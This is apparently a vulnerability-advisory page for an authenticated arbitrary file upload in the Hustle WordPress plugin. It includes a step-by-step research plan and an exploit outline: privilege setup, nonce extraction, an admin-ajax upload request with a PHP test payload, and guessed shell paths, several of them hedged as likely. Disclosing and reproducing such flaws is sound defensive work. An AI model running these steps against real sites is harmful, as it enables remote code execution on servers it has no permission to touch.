Hustle <= 7.8.9.2 - Authenticated (Subscriber+) Arbitrary File Upoload via Module Import
Description
The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin for WordPress is vulnerable to arbitrary file uploads due to incorrect file type validation in the action_import_module() function in all versions up to, and including, 7.8.9.2. This makes it possible for authenticated attackers, with a lower-privileged role (e.g., Subscriber-level access and above), to upload arbitrary files on the affected site's server which may make remote code execution possible. Successful exploitation requires an admin to grant Hustle module permissions (or module edit access) to the low-privileged user so they can access the Hustle admin page and obtain the required nonce.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=7.8.9.2What Changed in the Fix
Changes introduced in v7.8.9.3
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload ## 1. Vulnerability Summary The **Hustle – Email Marketing, Lead Generation, Optins, Popups** plugin (<= 7.8.9.2) is vulnerable to an **Authenticated Arbitrary File Upload** via the module import functionality. The vulnerab…
Show full research plan
Vulnerability Research Plan: CVE-2026-0911 - Hustle Arbitrary File Upload
1. Vulnerability Summary
The Hustle – Email Marketing, Lead Generation, Optins, Popups plugin (<= 7.8.9.2) is vulnerable to an Authenticated Arbitrary File Upload via the module import functionality. The vulnerability resides in the action_import_module() function, which is reachable through a common AJAX handler. The function fails to adequately validate the file extension or MIME type of uploaded files during the import process. If a low-privileged user (Subscriber+) is granted permissions to manage Hustle modules, they can upload a malicious .php file, potentially leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
hustle_module_handle_single_action - Vulnerable Function:
action_import_module()(called dynamically byhandle_single_action()) - Authentication Required: Subscriber-level (or higher) with the
hustle_edit_moduleorhustle_createcapability granted via Hustle settings. - Preconditions:
- The attacker must have a Subscriber account.
- An administrator must have enabled "Permissions" for the Subscriber role in Hustle > Settings > General > Permissions.
- The attacker must obtain a valid AJAX nonce for the
hustle_module_single_action0action (for new imports).
3. Code Flow
- Entry Point: The client sends a
POSTrequest toadmin-ajax.phpwithaction=hustle_module_handle_single_action. - Route Handling: In
inc/hustle-modules-common-admin-ajax.php, thehandle_single_action()method is executed. - Nonce Verification: The code calls
Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id ). If$idis0(for a new import), it checks the nonce against the actionhustle_module_single_action0. - Method Dispatch: The code retrieves the
module_actionparameter (expected to beimport_module) and constructs the method nameaction_import_module. - Vulnerable Sink:
action_import_module()is called. This function (located in the truncated portion ofinc/hustle-modules-common-admin-ajax.php) processes$_FILES['hustle_import_file']. It likely useswp_handle_upload()or a similar function with insufficient restrictions on thetest_typeor allowed extensions, allowing.phpfiles to be saved to thewp-content/uploads/hustle/orwp-content/uploads/hustle-imports/directory.
4. Nonce Acquisition Strategy
The nonce is localized in the WordPress admin head within the optinVars JavaScript object.
- Grant Permissions: Using WP-CLI, grant the Subscriber role the necessary Hustle capabilities to ensure the Hustle menu and scripts are loaded for them.
- Navigate to Listing: Access the Popups listing page:
/wp-admin/admin.php?page=hustle_popup. - Extract Nonce: Use
browser_evalto extract the nonce from the globaloptinVarsobject.- JavaScript:
window.optinVars?.current?.module_nonce - Alternative: If specific to the action, the nonce might be found in
window.optinVars?.current?.save_settings_nonce.
- JavaScript:
5. Exploitation Strategy
Step 1: User and Permissions Setup
Create a Subscriber user and grant permissions via WP-CLI.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
# Hustle capabilities are usually managed via an option, but we can add them to the role
wp cap add subscriber hustle_create
wp cap add subscriber hustle_edit_module
Step 2: Obtain Nonce
- Login to the WordPress admin as the Subscriber.
- Navigate to
admin.php?page=hustle_popup. - Execute
browser_eval("window.optinVars.current.module_nonce")to get the nonce.
Step 3: Perform File Upload
Send a multipart POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: multipart/form-data - Parameters:
action:hustle_module_handle_single_actionmodule_action:import_moduleid:0nonce:[EXTRACTED_NONCE]hustle_import_file: (Binary data ofexploit.php)
Payload (exploit.php):
<?php
echo "HUSTLE_UPLOAD_SUCCESS";
phpinfo();
?>
Step 4: Locate and Execute
The file is likely uploaded to /wp-content/uploads/hustle/ or /wp-content/uploads/hustle-imports/.
Test common paths:
http://localhost:8080/wp-content/uploads/hustle/exploit.phphttp://localhost:8080/wp-content/uploads/hustle-imports/exploit.php
6. Test Data Setup
- Plugin Version: Ensure Hustle version <= 7.8.9.2 is installed.
- User: A user with role
subscriber. - Hustle Settings: (Optional) If the capabilities check is strictly tied to plugin options rather than WP capabilities, use
wp option get hustle_settingsto find permission keys and set them viawp option patch.
7. Expected Results
- The AJAX request should return a
success: trueresponse or a JSON response indicating the file was processed. - Accessing the shell URL directly should execute the PHP code and return "HUSTLE_UPLOAD_SUCCESS" and the
phpinfooutput.
8. Verification Steps
- Check Filesystem:
ls -R /var/www/html/wp-content/uploads/ | grep exploit.php - Verify Execution: Use
http_requestto GET the uploaded file path and check for the stringHUSTLE_UPLOAD_SUCCESS.
9. Alternative Approaches
If module_nonce is invalid for the import_module method, check for the nonce inside the "Import" modal in the DOM.
- Navigate to Popups listing.
- Click the "Import" button.
- Inspect the hidden nonce field in the modal:
browser_eval("document.querySelector('#hustle-dialog--import input[name=nonce]')?.value")browser_eval("document.querySelector('#hustle-dialog--import-module-submit-button')?.getAttribute('data-nonce')")
Summary
The Hustle plugin for WordPress is vulnerable to authenticated arbitrary file uploads due to insufficient file type validation in the `action_import_module` function. Low-privileged users, such as Subscribers who have been granted Hustle module permissions, can upload malicious PHP files during the module import process, leading to remote code execution.
Vulnerable Code
// inc/hustle-modules-common-admin-ajax.php add_action( 'wp_ajax_hustle_module_handle_single_action', array( $this, 'handle_single_action' ) ); // ... (dispatcher logic) ... public function handle_single_action() { $id = filter_input( INPUT_POST, 'id', FILTER_VALIDATE_INT ); $module_action = filter_input( INPUT_POST, 'module_action', FILTER_SANITIZE_SPECIAL_CHARS ); Opt_In_Utils::validate_ajax_call( 'hustle_module_single_action' . $id ); Opt_In_Utils::is_user_allowed_ajax( 'hustle_edit_module', $id ); $method = 'action_' . $module_action; if ( method_exists( $this, $method ) ) { $this->$method( $id ); } }
Security Fix
@@ -1 +1 @@ -!function(){var e={146:function(e,t,i){var s=i(5842),n=i(5413);Hustle.define("Settings.View",... (truncated)
Exploit Outline
1. **Authentication**: Log in as a Subscriber-level user (or higher) to a WordPress site where the Hustle plugin is installed. 2. **Prerequisites**: Ensure an administrator has granted the Subscriber role 'Hustle module permissions' (specifically the `hustle_edit_module` or `hustle_create` capabilities) in the plugin's settings. 3. **Nonce Acquisition**: Navigate to the Hustle Popups listing page in the admin dashboard and extract the AJAX nonce from the global `optinVars.current.module_nonce` object or from the Import Module dialog's metadata. 4. **Malicious Request**: Send a multipart POST request to `/wp-admin/admin-ajax.php` with the action `hustle_module_handle_single_action`. Include the parameter `module_action=import_module`, `id=0`, the captured nonce, and a malicious PHP file in the `hustle_import_file` parameter. 5. **Remote Code Execution**: If successful, the file is saved to the server's uploads directory (typically `wp-content/uploads/hustle/` or `wp-content/uploads/hustle-imports/`). Access the PHP file directly via its URL to execute code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.